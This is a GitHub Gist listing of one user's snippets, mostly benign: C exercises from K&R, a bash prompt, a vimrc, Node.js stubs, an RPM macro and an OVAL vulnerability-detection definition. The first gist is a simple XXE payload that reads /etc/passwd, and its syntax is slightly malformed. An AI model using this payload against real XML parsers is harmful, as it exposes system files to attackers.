Skip to content

Instantly share code, notes, and snippets.

View slayerlab's full-sized avatar

Leonardo Sena slayerlab

View GitHub Profile
@slayerlab
slayerlab / xxe.xml
Created October 24, 2018 01:56
simple xxe payload
<?xml version="1.0"?>
<!DOCTYPE data [
!ELEMENT data (x)>
!ENTITY file SYSTEM "/etc/passwd"
]>
<RequiredRootXMLNode>
<RequiredChildXMLNode>&file;</RequiredChildXMLNode>
</RequiredRootXMLNode>
@slayerlab
slayerlab / .bashrc
Created October 23, 2018 15:31
custom .bashrc - time display and insert command on newline.
export PS1="[\[$(tput sgr0)\]\[\033[38;5;14m\]\t\[$(tput sgr0)\]\[\033[38;5;15m\] \u@\h:\[$(tput sgr0)\]\[\033[38;5;10m\]\w\[$(tput sgr0)\]\[\033[38;5;15m\]]\n\\$ \[$(tput sgr0)\]"
@slayerlab
slayerlab / 1-12.c
Last active October 23, 2018 19:34
ANSI C K&R Exercise: Print [o]ne [w]ord per [l]ine – pretty easy.
/* *
* From: C Answer Book
* Clovis L. Tondo
* Scott E. Gimpel
* ISBN: 7-302-02728-5
* */
#include <stdio.h>
#define IN 1 /* inside word */
#define OUT 0 /* outside word */
@slayerlab
slayerlab / histogram.c
Created October 21, 2018 10:36
ANSI C K&R: Horizontal & Vertical Histogram
#include <stdio.h>
/* *
* Exercise 1-13. Write a program to print a histogram of the lengths of words in
* its input. It is easy to draw the histogram with the bars horizontal; a vertical
* orientation is more challenging.
* ----
* ANSI C K&R - CHARACTER INPUT AND OUTPUT: PAGE 15
* The quantities IS_LOWER, IS_UPPER, IS_ALPHA, MAXLEN, OUT and IN (macros)
* are symbolic constant, not variables, so they do not appear in declarations.
@slayerlab
slayerlab / linux-definitions-vulnerability-oval.xml
Last active March 6, 2021 19:54
OVAL Language for detect CVE-2018-7187 vulnerability on Linux environment. This PoC was made to answer this question: https://security.stackexchange.com/questions/194557/how-to-discover-known-vulnerabilities-cves-in-go-executables
<?xml version="1.0" encoding="UTF-8"?>
<oval_definitions
xmlns="http://oval.mitre.org/XMLSchema/oval-definitions-5"
xmlns:oval="http://oval.mitre.org/XMLSchema/oval-common-5"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://oval.mitre.org/XMLSchema/oval-common-5 oval-common-schema.xsd http://oval.mitre.org/XMLSchema/oval-definitions-5 oval-definitions-schema.xsd">
<generator>
<oval:product_name>Security StackExchange Question - 194557</oval:product_name>
<oval:schema_version>5.10</oval:schema_version>
@slayerlab
slayerlab / stubs_xmlStream.js
Last active August 29, 2018 15:11
só pra mim não esquecer
const xmlStream = require('xml-stream')
, fs = require('fs')
var stream = fs.createReadStream(__dirname+'./filename.xml')
, xml = new xmlStream(stream)
xml.preserve('some_subnode', true)
xml.collect('subtime_from_some_subnode')
xml.on('endElement: item', function (node) {
console.log(node)
@slayerlab
slayerlab / stubs_events.js
Last active August 28, 2018 15:11
só pra mim não esquecer como funciona essa merda.
var EventEmitter = require('events').EventEmitter,
fs = require('fs'),
util = require('util')
var Event = new EventEmitter(),
readStream = fs.createReadStream(__dirname+'./filename.txt','utf8'),
writeStream = fs.createWriteStream(__dirname+'./filename_new.txt', {flags:'w'}),
tmp_txt = [],
v = {
@slayerlab
slayerlab / bidTimeConvert.js
Created June 13, 2018 23:00
[PoC, NodeJS] A workaround to convert time from NVDCVE feed to SecurityFocus.
#!/usr/bin/node
'use strict';
String.prototype.bidTimeConvert = function () {
let month = ['Jan', 'Feb', 'Mar', 'Apr', 'Mar', 'May', 'Jun', 'Jul', 'Ago', 'Set', 'Oct', 'Nov', 'Dec'];
let fromTime = new Date(this.toString().split('.')[0]).toLocaleString();
let fromMinutes = ((new Date(fromTime).getMinutes()).toString().length == 1) ? '0'+new Date(fromTime).getMinutes() : new Date(fromTime).getMinutes();
return (new Date(fromTime).getHours() < 12)
? month[new Date(fromTime).getMonth()+1] +' '+new Date(fromTime).getDate()+' '+new Date(fromTime).getFullYear()+' '+(new Date(fromTime).getHours() + 12)+':'+fromMinutes+'AM'
@slayerlab
slayerlab / macros
Last active July 31, 2018 21:14
Add this snippet at /usr/lib/rpm/macros
#=======
# this expanded %install scriptlet will create automatically if a directory not exists.
# So, you do not need to worry with rpm .spec file to create directory.
%__spec_install_pre %{___build_pre}\
[ "$RPM_BUILD_ROOT" != "/" ] && rm -rf "${RPM_BUILD_ROOT}"\
mkdir -p `dirname "$RPM_BUILD_ROOT"`\
mkdir "$RPM_BUILD_ROOT"\
%{nil}
@slayerlab
slayerlab / localvimrc.vim
Last active December 5, 2018 01:36
Making the BASH dive into 'Shell Style Guide' for better readability.
" Making the BASH dive into 'Shell Style Guide' for better readability.
" https://lug.fh-swf.de/vim/vim-bash/StyleGuideShell.en.pdf
" https://google.github.io/styleguide/shell.xml
syntax on " set syntax highlight turned on;
set tabstop=4 " set tabstop to tell vim how many columns a tab counts for. Linux kernel code expects each tab to be 8 columns wide. Visual studio expects each tab to be four columns wide. This is the only command here that will affect how existing text displays;
set expandtab " convertt tabs to spaces;
set shiftwidth=2 " indent is 2 spaces;
set softtabstop=2 " untab size of, instead single space;
set autoindent " always set autoindenting on;
" extras: